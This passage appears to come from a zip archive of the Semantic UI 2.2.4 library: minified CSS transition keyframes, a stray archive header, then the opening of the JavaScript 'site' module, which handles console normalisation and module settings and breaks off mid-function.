fadeInLeft{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}100%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeInRight{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}100%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeInRight{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}100%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeOut{0%{opacity:1}100%{opacity:0}}@keyframes fadeOut{0%{opacity:1}100%{opacity:0}}@-webkit-keyframes fadeOutUp{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(5%);transform:translateY(5%)}}@keyframes fadeOutUp{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(5%);transform:translateY(5%)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(-5%);transform:translateY(-5%)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}100%{opacity:0;-webkit-transform:translateY(-5%);transform:translateY(-5%)}}@-webkit-keyframes fadeOutLeft{0%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(5%);transform:translateX(5%)}}@keyframes fadeOutLeft{0%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(5%);transform:translateX(5%)}}@-webkit-keyframes fadeOutRight{0%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(-5%);transform:translateX(-5%)}}@keyframes fadeOutRight{0%{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}100%{opacity:0;-webkit-transform:translateX(-5%);transform:translateX(-5%)}}.flip.transition.in,.flip.transition.out{-webkit-animation-duration:.6s;animation-duration:.6s}.horizontal.flip.transition.in{-webkit-animation-name:horizontalFlipIn;animation-name:horizontalFlipIn}.horizontal.flip.transition.out{-webkit-animation-name:horizontalFlipOut;animation-name:horizontalFlipOut}.vertical.flip.transition.in{-webkit-animation-name:verticalFlipIn;animation-name:verticalFlipIn}.vertical.flip.transition.out{-webkit-animation-name:verticalFlipOut;animation-name:verticalFlipOut}@-webkit-keyframes horizontalFlipIn{0%{-webkit-transform:perspective(2000px) rotateY(-90deg);transform:perspective(2000px) rotateY(-90deg);opacity:0}100%{-webkit-transform:perspective(2000px) rotateY(0);transform:perspective(2000px) rotateY(0);opacity:1}}@keyframes horizontalFlipIn{0%{-webkit-transform:perspective(2000px) rotateY(-90deg);transform:perspective(2000px) rotateY(-90deg);opacity:0}100%{-webkit-transform:perspective(2000px) rotateY(0);transform:perspective(2000px) rotateY(0);opacity:1}}@-webkit-keyframes verticalFlipIn{0%{-webkit-transform:perspective(2000px) rotateX(-90deg);transform:perspective(2000px) rotateX(-90deg);opacity:0}100%{-webkit-transform:perspective(2000px) rotateX(0);transform:perspective(2000px) rotateX(0);opacity:1}}@keyframes verticalFlipIn{0%{-webkit-transform:perspective(2000px) rotateX(-90deg);transform:perspective(2000px) rotateX(-90deg);opacity:0}100%{-webkit-transform:perspective(2000px) rotateX(0);transform:perspective(2000px) rotateX(0);opacity:1}}@-webkit-keyframes horizontalFlipOut{0%{-webkit-transform:perspective(2000px) rotateY(0);transform:perspective(2000px) rotateY(0);opacity:1}100%{-webkit-transform:perspective(2000px) rotateY(90deg);transform:perspective(2000px) rotateY(90deg);opacity:0}}@keyframes horizontalFlipOut{0%{-webkit-transform:perspective(2000px) rotateY(0);transform:perspective(2000px) rotateY(0);opacity:1}100%{-webkit-transform:perspective(2000px) rotateY(90deg);transform:perspective(2000px) rotateY(90deg);opacity:0}}@-webkit-keyframes verticalFlipOut{0%{-webkit-transform:perspective(2000px) rotateX(0);transform:perspective(2000px) rotateX(0);opacity:1}100%{-webkit-transform:perspective(2000px) rotateX(-90deg);transform:perspective(2000px) rotateX(-90deg);opacity:0}}@keyframes verticalFlipOut{0%{-webkit-transform:perspective(2000px) rotateX(0);transform:perspective(2000px) rotateX(0);opacity:1}100%{-webkit-transform:perspective(2000px) rotateX(-90deg);transform:perspective(2000px) rotateX(-90deg);opacity:0}}.scale.transition.in{-webkit-animation-name:scaleIn;animation-name:scaleIn}.scale.transition.out{-webkit-animation-name:scaleOut;animation-name:scaleOut}@-webkit-keyframes scaleIn{0%{opacity:0;-webkit-transform:scale(.8);transform:scale(.8)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleIn{0%{opacity:0;-webkit-transform:scale(.8);transform:scale(.8)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes scaleOut{0%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}100%{opacity:0;-webkit-transform:scale(.9);transform:scale(.9)}}@keyframes scaleOut{0%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}100%{opacity:0;-webkit-transform:scale(.9);transform:scale(.9)}}.transition.fly{-webkit-animation-duration:.6s;animation-duration:.6s;-webkit-transition-timing-function:cubic-bezier(.215,.61,.355,1);transition-timing-function:cubic-bezier(.215,.61,.355,1)}.transition.fly.in{-webkit-animation-name:flyIn;animation-name:flyIn}.transition[class*="fly up"].in{-webkit-animation-name:flyInUp;animation-name:flyInUp}.transition[class*="fly down"].in{-webkit-animation-name:flyInDown;animation-name:flyInDown}.transition[class*="fly left"].in{-webkit-animation-name:flyInLeft;animation-name:flyInLeft}.transition[class*="fly right"].in{-webkit-animation-name:flyInRight;animation-name:flyInRight}.transition.fly.out{-webkit-animation-name:flyOut;animation-name:flyOut}.transition[class*="fly up"].out{-webkit-animation-name:flyOutUp;animation-name:flyOutUp}.transition[class*="fly down"].out{-webkit-animation-name:flyOutDown;animation-name:flyOutDown}.transition[class*="fly left"].out{-webkit-animation-name:flyOutLeft;animation-name:flyOutLeft}.transition[class*="fly right"].out{-webkit-animation-name:flyOutRight;animation-name:flyOutRight}@-webkit-keyframes flyIn{0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}100%{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes flyIn{0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}100%{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@-webkit-keyframes flyInUp{0%{opacity:0;-webkit-transform:translate3d(0,1500px,0);transform:translate3d(0,1500px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes flyInUp{0%{opacity:0;-webkit-transform:translate3d(0,1500px,0);transform:translate3d(0,1500px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}100%{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@-webkit-keyframes flyInDown{0%{opacity:0;-webkit-transform:translate3d(0,-1500px,0);transform:translate3d(0,-1500px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}100%{-webkit-transform:none;transform:none}}@keyframes flyInDown{0%{opacity:0;-webkit-transform:translate3d(0,-1500px,0);transform:translate3d(0,-1500px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}100%{-webkit-transform:none;transform:none}}@-webkit-keyframes flyInLeft{0%{opacity:0;-webkit-transform:translate3d(1500px,0,0);transform:translate3d(1500px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}100%{-webkit-transform:none;transform:none}}@keyframes flyInLeft{0%{opacity:0;-webkit-transform:translate3d(1500px,0,0);transform:translate3d(1500px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}100%{-webkit-transform:none;transform:none}}@-webkit-keyframes flyInRight{0%{opacity:0;-webkit-transform:translate3d(-1500px,0,0);transform:translate3d(-1500px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}100%{-webkit-transform:none;transform:none}}@keyframes flyInRight{0%{opacity:0;-webkit-transform:translate3d(-1500px,0,0);transform:translate3d(-1500px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}100%{-webkit-transform:none;transform:none}}@-webkit-keyframes flyOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}100%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}@keyframes flyOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}100%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}@-webkit-keyframes flyOutUp{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@keyframes flyOutUp{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@-webkit-keyframes flyOutDown{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@keyframes flyOutDown{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}100%{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@-webkit-keyframes flyOutRight{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@keyframes flyOutRight{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@-webkit-keyframes flyOutLeft{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@keyframes flyOutLeft{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}.transition.slide.in,.transition[class*="slide down"].in{-webkit-animation-name:slideInY;animation-name:slideInY;-webkit-transform-origin:top center;-ms-transform-origin:top center;transform-origin:top center}.transition[class*="slide up"].in{-webkit-animation-name:slideInY;animation-name:slideInY;-webkit-transform-origin:bottom center;-ms-transform-origin:bottom center;transform-origin:bottom center}.transition[class*="slide left"].in{-webkit-animation-name:slideInX;animation-name:slideInX;-webkit-transform-origin:center right;-ms-transform-origin:center right;transform-origin:center right}.transition[class*="slide right"].in{-webkit-animation-name:slideInX;animation-name:slideInX;-webkit-transform-origin:center left;-ms-transform-origin:center left;transform-origin:center left}.transition.slide.out,.transition[class*="slide down"].out{-webkit-animation-name:slideOutY;animation-name:slideOutY;-webkit-transform-origin:top center;-ms-transform-origin:top center;transform-origin:top center}.transition[class*="slide up"].out{-webkit-animation-name:slideOutY;animation-name:slideOutY;-webkit-transform-origin:bottom center;-ms-transform-origin:bottom center;transform-origin:bottom center}.transition[class*="slide left"].out{-webkit-animation-name:slideOutX;animation-name:slideOutX;-webkit-transform-origin:center right;-ms-transform-origin:center right;transform-origin:center right}.transition[class*="slide right"].out{-webkit-animation-name:slideOutX;animation-name:slideOutX;-webkit-transform-origin:center left;-ms-transform-origin:center left;transform-origin:center left}@-webkit-keyframes slideInY{0%{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}100%{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}}@keyframes slideInY{0%{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}100%{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}}@-webkit-keyframes slideInX{0%{opacity:0;-webkit-transform:scaleX(0);transform:scaleX(0)}100%{opacity:1;-webkit-transform:scaleX(1);transform:scaleX(1)}}@keyframes slideInX{0%{opacity:0;-webkit-transform:scaleX(0);transform:scaleX(0)}100%{opacity:1;-webkit-transform:scaleX(1);transform:scaleX(1)}}@-webkit-keyframes slideOutY{0%{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}100%{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes slideOutY{0%{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1)}100%{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@-webkit-keyframes slideOutX{0%{opacity:1;-webkit-transform:scaleX(1);transform:scaleX(1)}100%{opacity:0;-webkit-transform:scaleX(0);transform:scaleX(0)}}@keyframes slideOutX{0%{opacity:1;-webkit-transform:scaleX(1);transform:scaleX(1)}100%{opacity:0;-webkit-transform:scaleX(0);transform:scaleX(0)}}.transition.swing{-webkit-animation-duration:.8s;animation-duration:.8s}.transition[class*="swing down"].in{-webkit-animation-name:swingInX;animation-name:swingInX;-webkit-transform-origin:top center;-ms-transform-origin:top center;transform-origin:top center}.transition[class*="swing up"].in{-webkit-animation-name:swingInX;animation-name:swingInX;-webkit-transform-origin:bottom center;-ms-transform-origin:bottom center;transform-origin:bottom center}.transition[class*="swing left"].in{-webkit-animation-name:swingInY;animation-name:swingInY;-webkit-transform-origin:center right;-ms-transform-origin:center right;transform-origin:center right}.transition[class*="swing right"].in{-webkit-animation-name:swingInY;animation-name:swingInY;-webkit-transform-origin:center left;-ms-transform-origin:center left;transform-origin:center left}.transition.swing.out,.transition[class*="swing down"].out{-webkit-animation-name:swingOutX;animation-name:swingOutX;-webkit-transform-origin:top center;-ms-transform-origin:top center;transform-origin:top center}.transition[class*="swing up"].out{-webkit-animation-name:swingOutX;animation-name:swingOutX;-webkit-transform-origin:bottom center;-ms-transform-origin:bottom center;transform-origin:bottom center}.transition[class*="swing left"].out{-webkit-animation-name:swingOutY;animation-name:swingOutY;-webkit-transform-origin:center right;-ms-transform-origin:center right;transform-origin:center right}.transition[class*="swing right"].out{-webkit-animation-name:swingOutY;animation-name:swingOutY;-webkit-transform-origin:center left;-ms-transform-origin:center left;transform-origin:center left}@-webkit-keyframes swingInX{0%{-webkit-transform:perspective(1000px) rotateX(90deg);transform:perspective(1000px) rotateX(90deg);opacity:0}40%{-webkit-transform:perspective(1000px) rotateX(-30deg);transform:perspective(1000px) rotateX(-30deg);opacity:1}60%{-webkit-transform:perspective(1000px) rotateX(15deg);transform:perspective(1000px) rotateX(15deg)}80%{-webkit-transform:perspective(1000px) rotateX(-7.5deg);transform:perspective(1000px) rotateX(-7.5deg)}100%{-webkit-transform:perspective(1000px) rotateX(0);transform:perspective(1000px) rotateX(0)}}@keyframes swingInX{0%{-webkit-transform:perspective(1000px) rotateX(90deg);transform:perspective(1000px) rotateX(90deg);opacity:0}40%{-webkit-transform:perspective(1000px) rotateX(-30deg);transform:perspective(1000px) rotateX(-30deg);opacity:1}60%{-webkit-transform:perspective(1000px) rotateX(15deg);transform:perspective(1000px) rotateX(15deg)}80%{-webkit-transform:perspective(1000px) rotateX(-7.5deg);transform:perspective(1000px) rotateX(-7.5deg)}100%{-webkit-transform:perspective(1000px) rotateX(0);transform:perspective(1000px) rotateX(0)}}@-webkit-keyframes swingInY{0%{-webkit-transform:perspective(1000px) rotateY(-90deg);transform:perspective(1000px) rotateY(-90deg);opacity:0}40%{-webkit-transform:perspective(1000px) rotateY(30deg);transform:perspective(1000px) rotateY(30deg);opacity:1}60%{-webkit-transform:perspective(1000px) rotateY(-17.5deg);transform:perspective(1000px) rotateY(-17.5deg)}80%{-webkit-transform:perspective(1000px) rotateY(7.5deg);transform:perspective(1000px) rotateY(7.5deg)}100%{-webkit-transform:perspective(1000px) rotateY(0);transform:perspective(1000px) rotateY(0)}}@keyframes swingInY{0%{-webkit-transform:perspective(1000px) rotateY(-90deg);transform:perspective(1000px) rotateY(-90deg);opacity:0}40%{-webkit-transform:perspective(1000px) rotateY(30deg);transform:perspective(1000px) rotateY(30deg);opacity:1}60%{-webkit-transform:perspective(1000px) rotateY(-17.5deg);transform:perspective(1000px) rotateY(-17.5deg)}80%{-webkit-transform:perspective(1000px) rotateY(7.5deg);transform:perspective(1000px) rotateY(7.5deg)}100%{-webkit-transform:perspective(1000px) rotateY(0);transform:perspective(1000px) rotateY(0)}}@-webkit-keyframes swingOutX{0%{-webkit-transform:perspective(1000px) rotateX(0);transform:perspective(1000px) rotateX(0)}40%{-webkit-transform:perspective(1000px) rotateX(-7.5deg);transform:perspective(1000px) rotateX(-7.5deg)}60%{-webkit-transform:perspective(1000px) rotateX(17.5deg);transform:perspective(1000px) rotateX(17.5deg)}80%{-webkit-transform:perspective(1000px) rotateX(-30deg);transform:perspective(1000px) rotateX(-30deg);opacity:1}100%{-webkit-transform:perspective(1000px) rotateX(90deg);transform:perspective(1000px) rotateX(90deg);opacity:0}}@keyframes swingOutX{0%{-webkit-transform:perspective(1000px) rotateX(0);transform:perspective(1000px) rotateX(0)}40%{-webkit-transform:perspective(1000px) rotateX(-7.5deg);transform:perspective(1000px) rotateX(-7.5deg)}60%{-webkit-transform:perspective(1000px) rotateX(17.5deg);transform:perspective(1000px) rotateX(17.5deg)}80%{-webkit-transform:perspective(1000px) rotateX(-30deg);transform:perspective(1000px) rotateX(-30deg);opacity:1}100%{-webkit-transform:perspective(1000px) rotateX(90deg);transform:perspective(1000px) rotateX(90deg);opacity:0}}@-webkit-keyframes swingOutY{0%{-webkit-transform:perspective(1000px) rotateY(0);transform:perspective(1000px) rotateY(0)}40%{-webkit-transform:perspective(1000px) rotateY(7.5deg);transform:perspective(1000px) rotateY(7.5deg)}60%{-webkit-transform:perspective(1000px) rotateY(-10deg);transform:perspective(1000px) rotateY(-10deg)}80%{-webkit-transform:perspective(1000px) rotateY(30deg);transform:perspective(1000px) rotateY(30deg);opacity:1}100%{-webkit-transform:perspective(1000px) rotateY(-90deg);transform:perspective(1000px) rotateY(-90deg);opacity:0}}@keyframes swingOutY{0%{-webkit-transform:perspective(1000px) rotateY(0);transform:perspective(1000px) rotateY(0)}40%{-webkit-transform:perspective(1000px) rotateY(7.5deg);transform:perspective(1000px) rotateY(7.5deg)}60%{-webkit-transform:perspective(1000px) rotateY(-10deg);transform:perspective(1000px) rotateY(-10deg)}80%{-webkit-transform:perspective(1000px) rotateY(30deg);transform:perspective(1000px) rotateY(30deg);opacity:1}100%{-webkit-transform:perspective(1000px) rotateY(-90deg);transform:perspective(1000px) rotateY(-90deg);opacity:0}}.flash.transition{-webkit-animation-duration:750ms;animation-duration:750ms;-webkit-animation-name:flash;animation-name:flash}.shake.transition{-webkit-animation-duration:750ms;animation-duration:750ms;-webkit-animation-name:shake;animation-name:shake}.bounce.transition{-webkit-animation-duration:750ms;animation-duration:750ms;-webkit-animation-name:bounce;animation-name:bounce}.tada.transition{-webkit-animation-duration:750ms;animation-duration:750ms;-webkit-animation-name:tada;animation-name:tada}.pulse.transition{-webkit-animation-duration:.5s;animation-duration:.5s;-webkit-animation-name:pulse;animation-name:pulse}.jiggle.transition{-webkit-animation-duration:750ms;animation-duration:750ms;-webkit-animation-name:jiggle;animation-name:jiggle}@-webkit-keyframes flash{0%,100%,50%{opacity:1}25%,75%{opacity:0}}@keyframes flash{0%,100%,50%{opacity:1}25%,75%{opacity:0}}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes bounce{0%,100%,20%,50%,80%{-webkit-transform:translateY(0);transform:translateY(0)}40%{-webkit-transform:translateY(-30px);transform:translateY(-30px)}60%{-webkit-transform:translateY(-15px);transform:translateY(-15px)}}@keyframes bounce{0%,100%,20%,50%,80%{-webkit-transform:translateY(0);transform:translateY(0)}40%{-webkit-transform:translateY(-30px);transform:translateY(-30px)}60%{-webkit-transform:translateY(-15px);transform:translateY(-15px)}}@-webkit-keyframes tada{0%{-webkit-transform:scale(1);transform:scale(1)}10%,20%{-webkit-transform:scale(.9) rotate(-3deg);transform:scale(.9) rotate(-3deg)}30%,50%,70%,90%{-webkit-transform:scale(1.1) rotate(3deg);transform:scale(1.1) rotate(3deg)}40%,60%,80%{-webkit-transform:scale(1.1) rotate(-3deg);transform:scale(1.1) rotate(-3deg)}100%{-webkit-transform:scale(1) rotate(0);transform:scale(1) rotate(0)}}@keyframes tada{0%{-webkit-transform:scale(1);transform:scale(1)}10%,20%{-webkit-transform:scale(.9) rotate(-3deg);transform:scale(.9) rotate(-3deg)}30%,50%,70%,90%{-webkit-transform:scale(1.1) rotate(3deg);transform:scale(1.1) rotate(3deg)}40%,60%,80%{-webkit-transform:scale(1.1) rotate(-3deg);transform:scale(1.1) rotate(-3deg)}100%{-webkit-transform:scale(1) rotate(0);transform:scale(1) rotate(0)}}@-webkit-keyframes pulse{0%,100%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(.9);transform:scale(.9);opacity:.7}}@keyframes pulse{0%,100%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(.9);transform:scale(.9);opacity:.7}}@-webkit-keyframes jiggle{0%,100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}}@keyframes jiggle{0%,100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}}PK!$�"ZZdist/semantic.jsnu&1i� /*
 * # Semantic UI - 2.2.4
 * https://github.com/Semantic-Org/Semantic-UI
 * http://www.semantic-ui.com/
 *
 * Copyright 2014 Contributors
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */
/*!
 * # Semantic UI 2.2.4 - Site
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

;(function ($, window, document, undefined) {

$.site = $.fn.site = function(parameters) {
  var
    time           = new Date().getTime(),
    performance    = [],

    query          = arguments[0],
    methodInvoked  = (typeof query == 'string'),
    queryArguments = [].slice.call(arguments, 1),

    settings        = ( $.isPlainObject(parameters) )
      ? $.extend(true, {}, $.site.settings, parameters)
      : $.extend({}, $.site.settings),

    namespace       = settings.namespace,
    error           = settings.error,

    eventNamespace  = '.' + namespace,
    moduleNamespace = 'module-' + namespace,

    $document       = $(document),
    $module         = $document,
    element         = this,
    instance        = $module.data(moduleNamespace),

    module,
    returnedValue
  ;
  module = {

    initialize: function() {
      module.instantiate();
    },

    instantiate: function() {
      module.verbose('Storing instance of site', module);
      instance = module;
      $module
        .data(moduleNamespace, module)
      ;
    },

    normalize: function() {
      module.fix.console();
      module.fix.requestAnimationFrame();
    },

    fix: {
      console: function() {
        module.debug('Normalizing window.console');
        if (console === undefined || console.log === undefined) {
          module.verbose('Console not available, normalizing events');
          module.disable.console();
        }
        if (typeof console.group == 'undefined' || typeof console.groupEnd == 'undefined' || typeof console.groupCollapsed == 'undefined') {
          module.verbose('Console group not available, normalizing events');
          window.console.group = function() {};
          window.console.groupEnd = function() {};
          window.console.groupCollapsed = function() {};
        }
        if (typeof console.markTimeline == 'undefined') {
          module.verbose('Mark timeline not available, normalizing events');
          window.console.markTimeline = function() {};
        }
      },
      consoleClear: function() {
        module.debug('Disabling programmatic console clearing');
        window.console.clear = function() {};
      },
      requestAnimationFrame: function() {
        module.debug('Normalizing requestAnimationFrame');
        if(window.requestAnimationFrame === undefined) {
          module.debug('RequestAnimationFrame not available, normalizing event');
          window.requestAnimationFrame = window.requestAnimationFrame
            || window.mozRequestAnimationFrame
            || window.webkitRequestAnimationFrame
            || window.msRequestAnimationFrame
            || function(callback) { setTimeout(callback, 0); }
          ;
        }
      }
    },

    moduleExists: function(name) {
      return ($.fn[name] !== undefined && $.fn[name].settings !== undefined);
    },

    enabled: {
      modules: function(modules) {
        var
          enabledModules = []
        ;
        modules = modules || settings.modules;
        $.each(modules, function(index, name) {
          if(module.moduleExists(name)) {
            enabledModules.push(name);
          }
        });
        return enabledModules;
      }
    },

    disabled: {
      modules: function(modules) {
        var
          disabledModules = []
        ;
        modules = modules || settings.modules;
        $.each(modules, function(index, name) {
          if(!module.moduleExists(name)) {
            disabledModules.push(name);
          }
        });
        return disabledModules;
      }
    },

    change: {
      setting: function(setting, value, modules, modifyExisting) {
        modules = (typeof modules === 'string')
          ? (modules === 'all')
            ? settings.modules
            : [modules]
          : modules || settings.modules
        ;
        modifyExisting = (modifyExisting !== undefined)
          ? modifyExisting
          : true
        ;
        $.each(modules, function(index, name) {
          var
            namespace = (module.moduleExists(name))
              ? $.fn[name].settings.namespace || false
              : true,
            $existingModules
          ;
          if(module.moduleExists(name)) {
            module.verbose('Changing default setting', setting, value, name);
            $.fn[name].settings[setting] = value;
            if(modifyExisting && namespace) {
              $existingModules = $(':data(module-' + namespace + ')');
              if($existingModules.length > 0) {
                module.verbose('Modifying existing settings', $existingModules);
                $existingModules[name]('setting', setting, value);
              }
            }
          }
        });
      },
      settings: function(newSettings, modules, modifyExisting) {
        modules = (typeof modules === 'string')
          ? [modules]
          : modules || settings.modules
        ;
        modifyExisting = (modifyExisting !== undefined)
          ? modifyExisting
          : true
        ;
        $.each(modules, function(index, name) {
          var
            $existingModules
          ;
          if(module.moduleExists(name)) {
            module.verbose('Changing default setting', newSettings, name);
            $.extend(true, $.fn[name].settings, newSettings);
            if(modifyExisting && namespace) {
